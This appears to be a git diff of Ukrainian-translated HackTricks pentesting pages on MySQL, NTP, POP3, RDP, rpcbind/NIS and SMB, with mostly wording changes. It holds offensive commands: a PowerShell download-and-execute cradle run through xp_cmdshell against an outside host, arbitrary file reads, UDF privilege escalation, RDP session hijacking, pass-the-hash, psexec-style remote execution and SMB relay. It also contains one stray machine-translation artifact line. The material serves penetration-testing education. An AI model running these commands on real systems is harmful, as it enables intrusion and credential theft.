xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html
Entry_2:
Name: Nmap for SQL

View File

@ -4,7 +4,7 @@
## **Основна інформація**
**MySQL** можна описати як безкоштовну **Систему керування реляційними базами даних (RDBMS)** з відкритим вихідним кодом. Вона працює на **Мові структурованих запитів (SQL)**, що дозволяє керувати та маніпулювати базами даних.
**MySQL** можна описати як систему управління реляційними базами даних з відкритим вихідним кодом (**RDBMS**), яка доступна безкоштовно. Вона працює на **Structured Query Language (SQL)**, що дозволяє управляти та маніпулювати базами даних.
**Порт за замовчуванням:** 3306
```
@ -111,7 +111,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
## MySQL довільне читання файлів клієнтом
Насправді, коли ви намагаєтеся **завантажити дані локально в таблицю** **вміст файлу**, сервер MySQL або MariaDB запитує **клієнта, щоб прочитати його** і надіслати вміст. **Тоді, якщо ви можете підробити mysql клієнт для підключення до вашого власного MySQL сервера, ви можете читати довільні файли.**\
Насправді, коли ви намагаєтеся **завантажити дані локально в таблицю** **вміст файлу**, сервер MySQL або MariaDB запитує **клієнта, щоб прочитати його** і надіслати вміст. **Тоді, якщо ви зможете підробити mysql клієнт для підключення до вашого власного MySQL сервера, ви зможете читати довільні файли.**\
Зверніть увагу, що це поведінка при використанні:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -123,7 +123,7 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**Початковий PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**У цій статті ви можете побачити повний опис атаки і навіть як її розширити до RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Тут ви можете знайти огляд атаки:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -133,9 +133,9 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
## POST
### Mysql Користувач
### Mysql User
Будь ласка, буде дуже цікаво, якщо mysql працює як **root**:
Це буде дуже цікаво, якщо mysql працює як **root**:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
@ -148,7 +148,7 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
- **`password`** застосовується для встановлення пароля, пов'язаного з користувачем MySQL.
- **`admin_address`** вказує IP-адресу, яка слухає TCP/IP з'єднання на адміністративному мережевому інтерфейсі.
- Змінна **`debug`** вказує на поточні конфігурації налагодження, включаючи чутливу інформацію в журналах.
- **`sql_warnings`** керує тим, чи генеруються інформаційні рядки для однорядкових операторів INSERT, коли виникають попередження, що містять чутливі дані в журналах.
- **`sql_warnings`** керує тим, чи генеруються інформаційні рядки для одноразових операторів INSERT, коли виникають попередження, що містять чутливі дані в журналах.
- З **`secure_file_priv`** обсяг операцій імпорту та експорту даних обмежується для підвищення безпеки.
### Підвищення привілеїв
@ -171,7 +171,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
```
### Підвищення привілеїв через бібліотеку
Якщо **mysql сервер працює як root** (або інший більш привілейований користувач), ви можете змусити його виконувати команди. Для цього вам потрібно використовувати **функції, визначені користувачем**. А щоб створити функцію, визначену користувачем, вам знадобиться **бібліотека** для ОС, на якій працює mysql.
Якщо **mysql сервер працює під root** (або іншим більш привілейованим користувачем), ви можете змусити його виконувати команди. Для цього вам потрібно використовувати **функції, визначені користувачем**. А щоб створити функцію, визначену користувачем, вам знадобиться **бібліотека** для ОС, на якій працює mysql.
Зловмисну бібліотеку можна знайти всередині sqlmap і metasploit, виконавши **`locate "*lib_mysqludf_sys*"`**. Файли **`.so`** є **linux** бібліотеками, а **`.dll`** - це **Windows** бібліотеки, виберіть ту, яка вам потрібна.
@ -230,7 +230,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
```
### Увімкнення журналювання
Ви можете увімкнути журналювання запитів mysql, відкоментувавши наступні рядки у `/etc/mysql/my.cnf`:
Ви можете увімкнути журналювання запитів mysql, відкоментувавши наступні рядки у файлі `/etc/mysql/my.cnf`:
![](<../images/image (899).png>)
@ -590,7 +590,7 @@ Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.xyz/pentesting/pentesting-mysql
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html
Entry_2:
Name: Nmap
@ -609,4 +609,6 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Основна інформація
**Протокол синхронізації часу в мережі (NTP)** забезпечує синхронізацію годинників комп'ютерів та мережевих пристроїв через мережі з різною затримкою. Це важливо для підтримки точного обліку часу в ІТ-операціях, безпеці та веденні журналів. Точність NTP є суттєвою, але вона також несе ризики безпеки, якщо не управляється належним чином.
**Протокол мережевого часу (NTP)** забезпечує синхронізацію годинників комп'ютерів та мережевих пристроїв через мережі з різною затримкою. Це важливо для підтримки точної облікової інформації в ІТ-операціях, безпеці та веденні журналів. Точність NTP є суттєвою, але вона також несе ризики безпеки, якщо не управляється належним чином.
### Резюме та поради з безпеки:
@ -12,7 +12,7 @@
- **Важливість**: Критично важливо для безпеки, ведення журналів та операцій.
- **Заходи безпеки**:
- Використовуйте надійні джерела NTP з автентифікацією.
- Обмежте доступ до NTP-сервера в мережі.
- Обмежте доступ до мережі NTP-сервера.
- Моніторте синхронізацію на наявність ознак підробки.
**Порт за замовчуванням:** 123/udp
@ -34,15 +34,15 @@ ntpdc -c sysinfo <IP_ADDRESS>
```bash
nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 <IP>
```
## Перевірка конфігураційних файлів
## Examine configuration files
- ntp.conf
## Атака посилення NTP
## NTP Amplification Attack
[**Як працює атака DDoS на NTP**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
[**How NTP DDoS Attack Works**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
**Протокол NTP**, що використовує UDP, дозволяє працювати без необхідності в процедурах рукопожаття, на відміну від TCP. Ця характеристика використовується в **атаках посилення DDoS NTP**. Тут зловмисники створюють пакети з підробленою IP-адресою джерела, що створює враження, що запити атаки надходять від жертви. Ці пакети, спочатку невеликі, змушують NTP-сервер відповідати набагато більшими обсягами даних, посилюючи атаку.
Протокол **NTP**, що використовує UDP, дозволяє працювати без необхідності в процедурах рукопожаття, на відміну від TCP. Ця характеристика експлуатується в **NTP DDoS amplification attacks**. Тут зловмисники створюють пакети з підробленою IP-адресою джерела, що створює враження, що запити атаки надходять від жертви. Ці пакети, спочатку невеликі, змушують NTP сервер відповідати набагато більшими обсягами даних, посилюючи атаку.
Команда _**MONLIST**_, незважаючи на рідкісне використання, може повідомити про останні 600 клієнтів, підключених до служби NTP. Хоча сама команда є простою, її зловживання в таких атаках підкреслює критичні вразливості безпеки.
```bash
@ -64,11 +64,13 @@ Description: Notes for NTP
Note: |
The Network Time Protocol (NTP) ensures computers and network devices across variable-latency networks sync their clocks accurately. It's vital for maintaining precise timekeeping in IT operations, security, and logging. NTP's accuracy is essential, but it also poses security risks if not properly managed.
https://book.hacktricks.xyz/pentesting/pentesting-ntp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ntp.html
Entry_2:
Name: Nmap
Description: Enumerate NTP
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,14 +4,14 @@
## Основна інформація
**Post Office Protocol (POP)** описується як протокол у сфері комп'ютерних мереж і Інтернету, який використовується для витягування та **отримання електронної пошти з віддаленого поштового сервера**, що робить її доступною на локальному пристрої. Розташований у прикладному шарі моделі OSI, цей протокол дозволяє користувачам отримувати та отримувати електронну пошту. Робота **POP клієнтів** зазвичай передбачає встановлення з'єднання з поштовим сервером, завантаження всіх повідомлень, зберігання цих повідомлень локально на клієнтській системі та подальше їх видалення з сервера. Хоча існує три версії цього протоколу, **POP3** виділяється як найпоширеніша версія.
**Post Office Protocol (POP)** описується як протокол у сфері комп'ютерних мереж і Інтернету, який використовується для витягування та **отримання електронної пошти з віддаленого поштового сервера**, що робить її доступною на локальному пристрої. Розташований у прикладному шарі моделі OSI, цей протокол дозволяє користувачам отримувати та отримувати електронну пошту. Робота **POP-клієнтів** зазвичай передбачає встановлення з'єднання з поштовим сервером, завантаження всіх повідомлень, зберігання цих повідомлень локально на клієнтській системі та подальше їх видалення з сервера. Хоча існує три версії цього протоколу, **POP3** виділяється як найпоширеніша версія.
**Порт за замовчуванням:** 110, 995(ssl)
```
PORT STATE SERVICE
110/tcp open pop3
```
## Перерахунок
## Перерахування
### Отримання банера
```bash
@ -28,7 +28,7 @@ nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All a
```
Плагін `pop3-ntlm-info` поверне деякі "**чутливі**" дані (версії Windows).
### [POP3 брутфорс](../generic-hacking/brute-force.md#pop)
### [Брутфорс POP3](../generic-hacking/brute-force.md#pop)
## Синтаксис POP
@ -46,7 +46,7 @@ QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg
CAPA Get capabilities
```
Приклад:
Please provide the text you would like me to translate.
```
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -87,7 +87,7 @@ Description: Notes for POP
Note: |
Post Office Protocol (POP) is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of POP clients typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, POP3 stands out as the most prevalently employed version.
https://book.hacktricks.xyz/network-services-pentesting/pentesting-pop
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-pop.html
Entry_2:
Name: Banner Grab

View File

@ -12,7 +12,7 @@
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## Перерахунок
## Перерахування
### Автоматичний
```bash
@ -60,11 +60,11 @@ query user
```bash
tscon <ID> /dest:<SESSIONNAME>
```
Тепер ви будете всередині вибраної сесії RDP і вам потрібно буде видати себе за користувача, використовуючи лише інструменти та функції Windows.
Тепер ви будете всередині вибраної RDP-сесії і зможете видавати себе за користувача, використовуючи лише інструменти та функції Windows.
**Важливо**: Коли ви отримуєте доступ до активних сесій RDP, ви виведете користувача, який її використовував.
**Важливо**: Коли ви отримуєте доступ до активних RDP-сесій, ви виведете користувача, який їх використовував.
Ви можете отримати паролі з процесу, вивантажуючи його, але цей метод набагато швидший і дозволяє вам взаємодіяти з віртуальними робочими столами користувача (паролі в notepad без збереження на диску, інші сесії RDP, відкриті на інших машинах...)
Ви можете отримати паролі з процесу, вивантажуючи його, але цей метод набагато швидший і дозволяє вам взаємодіяти з віртуальними робочими столами користувача (паролі в блокноті без збереження на диску, інші RDP-сесії, відкриті на інших машинах...)
#### **Mimikatz**
@ -77,7 +77,7 @@ ts::remote /id:2 #Connect to the session
Поєднуючи цю техніку з **stickykeys** або **utilman**, ви зможете отримати доступ до адміністративного CMD та будь-якої RDP-сесії в будь-який час.
Ви можете шукати RDP, які були зламані за допомогою однієї з цих технік, за адресою: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
Ви можете шукати RDP, які вже були зламані за допомогою однієї з цих технік, за адресою: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Process Injection
@ -91,20 +91,20 @@ ts::remote /id:2 #Connect to the session
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
## Автоматичні інструменти
## Automatic Tools
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** - це фреймворк після експлуатації, створений на Powershell, призначений в основному для автоматизації атаки **Shadow** на комп'ютерах Microsoft Windows. Ця вразливість (перерахована як функція Microsoft) дозволяє віддаленому зловмиснику **переглядати робочий стіл жертви без її згоди** і навіть контролювати його на вимогу, використовуючи інструменти, рідні для самої операційної системи.
**AutoRDPwn** є фреймворком пост-експлуатації, створеним у Powershell, призначеним переважно для автоматизації атаки **Shadow** на комп'ютерах Microsoft Windows. Ця вразливість (перерахована як функція Microsoft) дозволяє віддаленому зловмиснику **переглядати робочий стіл жертви без її згоди**, а також контролювати його на вимогу, використовуючи інструменти, вбудовані в саму операційну систему.
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
- Контролюйте мишу та клавіатуру автоматизованим способом з командного рядка
- Контролюйте буфер обміну автоматизованим способом з командного рядка
- Створіть SOCKS-проксі з клієнта, який каналує мережеве спілкування до цілі через RDP
- Створіть SOCKS-проксі з клієнта, який перенаправляє мережеву комунікацію до цілі через RDP
- Виконуйте довільні команди SHELL та PowerShell на цілі без завантаження файлів
- Завантажуйте та завантажуйте файли до/з цілі, навіть коли передача файлів на цілі вимкнена
## HackTricks Автоматичні команди
## HackTricks Automatic Commands
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
@ -116,7 +116,7 @@ Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap

View File

@ -2,11 +2,11 @@
{{#include ../banners/hacktricks-training.md}}
## Основна інформація
## Basic Information
**Portmapper** - це служба, яка використовується для відображення портів мережевих служб на номери програм **RPC** (Віддалений виклик процедур). Вона є критично важливим компонентом в **Unix-подібних системах**, що полегшує обмін інформацією між цими системами. **Порт**, пов'язаний з **Portmapper**, часто сканується зловмисниками, оскільки може розкрити цінну інформацію. Ця інформація включає тип **Unix операційної системи (OS)**, що працює, та деталі про служби, доступні на системі. Крім того, **Portmapper** зазвичай використовується разом з **NFS (Мережева файлова система)**, **NIS (Служба мережевої інформації)** та іншими **RPC-орієнтованими службами** для ефективного управління мережевими службами.
**Portmapper** - це служба, яка використовується для відображення портів мережевих служб на номери програм **RPC** (Remote Procedure Call). Вона є критично важливим компонентом у **Unix-системах**, що полегшує обмін інформацією між цими системами. **Порт**, пов'язаний з **Portmapper**, часто сканується зловмисниками, оскільки може розкрити цінну інформацію. Ця інформація включає тип **Unix Operating System (OS)**, що працює, та деталі про служби, які доступні в системі. Крім того, **Portmapper** зазвичай використовується разом з **NFS (Network File System)**, **NIS (Network Information Service)** та іншими **RPC-based services** для ефективного управління мережевими службами.
**Порт за замовчуванням:** 111/TCP/UDP, 32771 в Oracle Solaris
**Default port:** 111/TCP/UDP, 32771 in Oracle Solaris
```
PORT STATE SERVICE
111/tcp open rpcbind
@ -38,7 +38,7 @@ nmap -sSUC -p111 192.168.10.1
![](<../images/image (859).png>)
Подорож дослідження починається з установки необхідних пакетів (`apt-get install nis`). Наступний крок вимагає використання `ypwhich`, щоб підтвердити наявність NIS сервера, пінгуючи його з іменем домену та IP адресою сервера, забезпечуючи анонімність цих елементів для безпеки.
Подорож дослідження починається з установки необхідних пакетів (`apt-get install nis`). Наступний крок вимагає використання `ypwhich`, щоб підтвердити наявність NIS сервера, пінгуючи його з іменем домену та IP-адресою сервера, забезпечуючи анонімність цих елементів для безпеки.
Останній і вирішальний крок включає команду `ypcat` для витягування чутливих даних, зокрема зашифрованих паролів користувачів. Ці хеші, після зламу за допомогою інструментів, таких як **John the Ripper**, відкривають інформацію про доступ до системи та привілеї.
```bash
@ -64,7 +64,7 @@ ypcat d <domain-name> h <server-ip> passwd.byname
![](<../images/image (1041).png>)
Ви можете перерахувати користувачів на машині. Щоб дізнатися, як, прочитайте [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md).
Ви можете перерахувати користувачів на машині. Щоб дізнатися, як це зробити, прочитайте [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md).
## Обхід фільтрованого порту portmapper
@ -90,7 +90,7 @@ Description: Notes for PortMapper
Note: |
Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively.
https://book.hacktricks.xyz/pentesting/pentesting-rpcbind
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rpcbind.html
Entry_2:
Name: rpc info

View File

@ -8,9 +8,9 @@ _**Система базового введення-виведення мере
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Порт 445
## Port 445
Технічно, порт 139 називається «NBT over IP», тоді як порт 445 ідентифікується як «SMB over IP». Абревіатура **SMB** означає «**Server Message Blocks**», яка також сучасно відома як **Common Internet File System (CIFS)**. Як протокол мережевого рівня додатків, SMB/CIFS в основному використовується для забезпечення спільного доступу до файлів, принтерів, послідовних портів і полегшення різних форм комунікації між вузлами в мережі.
Технічно, порт 139 називається «NBT over IP», тоді як порт 445 ідентифікується як «SMB over IP». Абревіатура **SMB** означає «**Server Message Blocks**», яка також сучасно відома як **Common Internet File System (CIFS)**. Як протокол мережевого рівня прикладного шару, SMB/CIFS в основному використовується для забезпечення спільного доступу до файлів, принтерів, послідовних портів та полегшення різних форм комунікації між вузлами в мережі.
Наприклад, у контексті Windows підкреслюється, що SMB може працювати безпосередньо через TCP/IP, усуваючи необхідність у NetBIOS через TCP/IP, за допомогою використання порту 445. Навпаки, на різних системах спостерігається використання порту 139, що вказує на те, що SMB виконується разом з NetBIOS через TCP/IP.
```
@ -32,7 +32,7 @@ _**Система базового введення-виведення мере
- Інформацію про доступні SMB спільні ресурси
- Діючу політику безпеки системи
Ця функціональність є критично важливою для мережевих адміністраторів та фахівців з безпеки для оцінки безпекової позиції служб SMB (Server Message Block) в мережі. `enum4linux` надає всебічний огляд середовища SMB цільової системи, що є суттєвим для виявлення потенційних вразливостей та забезпечення належного захисту служб SMB.
Ця функціональність є критично важливою для мережевих адміністраторів та фахівців з безпеки для оцінки безпекової позиції служб SMB (Server Message Block) в мережі. `enum4linux` надає всебічний огляд середовища SMB цільової системи, що є необхідним для виявлення потенційних вразливостей та забезпечення належного захисту служб SMB.
```bash
enum4linux -a target_ip
```
@ -40,7 +40,7 @@ enum4linux -a target_ip
## Що таке NTLM
Якщо ви не знаєте, що таке NTLM або хочете дізнатися, як він працює і як його зловживати, вам буде дуже цікава ця сторінка про **NTLM**, де пояснюється **як працює цей протокол і як ви можете скористатися ним:**
Якщо ви не знаєте, що таке NTLM, або хочете дізнатися, як він працює і як його зловживати, вам буде дуже цікаво ознайомитися з цією сторінкою про **NTLM**, де пояснюється **як працює цей протокол і як ви можете скористатися ним:**
{{#ref}}
../windows-hardening/ntlm/
@ -52,7 +52,7 @@ enum4linux -a target_ip
```bash
nbtscan -r 192.168.0.1/24
```
### Версія сервера SMB
### SMB сервер версія
Щоб шукати можливі експлойти для версії SMB, важливо знати, яка версія використовується. Якщо ця інформація не з'являється в інших використовуваних інструментах, ви можете:
@ -133,13 +133,13 @@ rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### Перерахунок локальних користувачів
### Перерахувати локальних користувачів
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
Однорядковий код
Однорядковий
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
```
### **Вручну перерахувати спільні ресурси Windows та підключитися до них**
Можливо, вам заборонено відображати будь-які спільні ресурси хост-машини, і коли ви намагаєтеся їх перерахувати, здається, що немає жодних спільних ресурсів для підключення. Тому варто спробувати вручну підключитися до спільного ресурсу. Щоб вручну перерахувати спільні ресурси, ви можете звернути увагу на відповіді, такі як NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME, використовуючи дійсну сесію (наприклад, нульову сесію або дійсні облікові дані). Це може вказувати на те, чи існує спільний ресурс, і ви не маєте до нього доступу, або спільний ресурс взагалі не існує.
Можливо, вам заборонено відображати будь-які спільні ресурси хост-машини, і коли ви намагаєтеся їх перерахувати, здається, що немає жодних ресурсів для підключення. Тому варто спробувати вручну підключитися до спільного ресурсу. Щоб вручну перерахувати спільні ресурси, ви можете звернути увагу на відповіді, такі як NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME, використовуючи дійсну сесію (наприклад, нульову сесію або дійсні облікові дані). Це може вказувати на те, чи існує спільний ресурс і у вас немає до нього доступу, або спільний ресурс взагалі не існує.
Звичайні імена спільних ресурсів для цілей Windows:
@ -217,7 +217,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
або цей скрипт (використовуючи нульову сесію)
для цього скрипта (використовуючи нульову сесію)
```bash
#/bin/bash
@ -296,11 +296,11 @@ smbclient //<IP>/<share>
- prompt: вимикає запит на імена файлів (за замовчуванням: увімкнено)
- mget: копіює всі файли, що відповідають масці, з хоста на клієнтську машину
(_Інформація з manpage smbclient_)
(_Інформація з man-сторінки smbclient_)
### Пошук спільних папок домену
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
@ -310,7 +310,7 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Особливо цікаві з загальних ресурсів файли під назвою **`Registry.xml`**, оскільки вони **можуть містити паролі** для користувачів, налаштованих на **автоматичний вхід** через групову політику. Або файли **`web.config`**, оскільки вони містять облікові дані.
Особливо цікаві з загальних ресурсів файли під назвою **`Registry.xml`**, оскільки вони **можуть містити паролі** для користувачів, налаштованих на **автологін** через групову політику. Або файли **`web.config`**, оскільки вони містять облікові дані.
> [!NOTE]
> **SYSVOL share** є **доступним для читання** для всіх автентифікованих користувачів у домені. Там ви можете **знайти** багато різних пакетних, VBScript та PowerShell **скриптів**.\
@ -331,30 +331,30 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
| **Налаштування** | **Опис** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Дозволити перегляд доступних спільних ресурсів у поточному ресурсі? |
| `read only = no` | Заборонити створення та модифікацію файлів? |
| `read only = no` | Заборонити створення та модифікацію файлів? |
| `writable = yes` | Дозволити користувачам створювати та модифікувати файли? |
| `guest ok = yes` | Дозволити підключення до служби без використання пароля? |
| `guest ok = yes` | Дозволити підключення до служби без використання пароля? |
| `enable privileges = yes` | Враховувати привілеї, призначені конкретному SID? |
| `create mask = 0777` | Які дозволи повинні бути призначені новоствореним файлам? |
| `directory mask = 0777` | Які дозволи повинні бути призначені новоствореним каталогам? |
| `logon script = script.sh` | Який скрипт потрібно виконати під час входу користувача? |
| `create mask = 0777` | Які дозволи повинні бути призначені новоствореним файлам? |
| `directory mask = 0777` | Які дозволи повинні бути призначені новоствореним каталогам? |
| `logon script = script.sh` | Який скрипт потрібно виконати під час входу користувача? |
| `magic script = script.sh` | Який скрипт повинен бути виконаний, коли скрипт закривається? |
| `magic output = script.out` | Де потрібно зберігати вихідні дані магічного скрипта? |
| `magic output = script.out` | Де потрібно зберігати вихідні дані магічного скрипта? |
Команда `smbstatus` надає інформацію про **сервер** та про **те, хто підключений**.
## Аутентифікація за допомогою Kerberos
Ви можете **аутентифікуватися** до **kerberos** за допомогою інструментів **smbclient** та **rpcclient**:
Ви можете **аутентифікуватися** в **kerberos** за допомогою інструментів **smbclient** та **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
## **Виконати команди**
## **Виконання команд**
### **crackmapexec**
crackmapexec може виконувати команди **зловживаючи** будь-яким з **mmcexec, smbexec, atexec, wmiexec**, при цьому **wmiexec** є **методом за замовчуванням**. Ви можете вказати, який варіант ви віддаєте перевагу, за допомогою параметра `--exec-method`:
crackmapexec може виконувати команди **зловживаючи** будь-яким з **mmcexec, smbexec, atexec, wmiexec**, при цьому **wmiexec** є **за замовчуванням** методом. Ви можете вказати, який варіант ви віддаєте перевагу, за допомогою параметра `--exec-method`:
```bash
apt-get install crackmapexec
@ -378,9 +378,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Обидва варіанти **створять нову службу** (використовуючи _\pipe\svcctl_ через SMB) на машині жертви і використовують її для **виконання чогось** (**psexec** **завантажить** виконуваний файл до ADMIN$ спільного доступу, а **smbexec** вказуватиме на **cmd.exe/powershell.exe** і передаватиме в аргументах корисне навантаження --**безфайлова техніка-**-).\
Обидва варіанти **створять нову службу** (використовуючи _\pipe\svcctl_ через SMB) на машині жертви і використовують її для **виконання чогось** (**psexec** **завантажить** виконуваний файл до ADMIN$ share, а **smbexec** вказуватиме на **cmd.exe/powershell.exe** і передаватиме в аргументах payload --**безфайлова техніка-**-).\
**Більше інформації** про [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)та [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
У **kali** він розташований за адресою /usr/share/doc/python3-impacket/examples/
У **kali** він знаходиться за адресою /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
@ -428,12 +428,12 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
```
## SMB relay attack
Ця атака використовує набір інструментів Responder для **захоплення SMB аутентифікаційних сесій** в внутрішній мережі та **пересилає** їх на **цільову машину**. Якщо **сесія аутентифікації успішна**, ви автоматично потрапите в **системний** **shell**.\
Ця атака використовує набір інструментів Responder для **захоплення сеансів аутентифікації SMB** в внутрішній мережі та **пересилає** їх на **цільову машину**. Якщо **сеанс аутентифікації успішний**, ви автоматично потрапите в **системний** **shell**.\
[**Більше інформації про цю атаку тут.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Бібліотека Windows URLMon.dll автоматично намагається аутентифікуватися до хоста, коли сторінка намагається отримати доступ до деякого контенту через SMB, наприклад: `img src="\\10.10.10.10\path\image.jpg"`
Бібліотека Windows URLMon.dll автоматично намагається аутентифікуватися на хості, коли сторінка намагається отримати доступ до деякого контенту через SMB, наприклад: `img src="\\10.10.10.10\path\image.jpg"`
Це відбувається з функціями:
@ -442,19 +442,19 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
- URLOpenStream
- URLOpenBlockingStream
Які використовуються деякими браузерами та інструментами (як Skype)
Які використовуються деякими браузерами та інструментами (наприклад, Skype)
![З: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (93).png>)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (93).png>)
### SMBTrap using MitMf
![З: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>)
## NTLM Theft
